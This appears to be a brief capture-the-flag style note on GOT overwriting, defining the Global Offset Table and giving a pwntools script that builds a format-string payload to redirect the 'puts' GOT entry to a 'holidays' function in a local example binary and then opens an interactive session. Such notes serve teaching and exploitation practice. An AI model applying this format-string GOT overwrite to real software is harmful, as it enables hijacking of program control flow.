GOT Overriding

GOT (Global Offset Table) is a section of a computer program’s memory used to enable computer program code compiled as an ELF file to run correctly.

from pwn import *

context.update(arch="amd64", os="linux")

filepath = "./example"

elf = context.binary = ELF(filepath)

p = process(filepath)  # p = remote('example.com', '1337')

p.clean()
p.sendline()
p.clean()

payload = fmtstr_payload(10, {elf.got['puts'] : elf.sym['holidays']})
p.sendline(payload)
p.interactive()
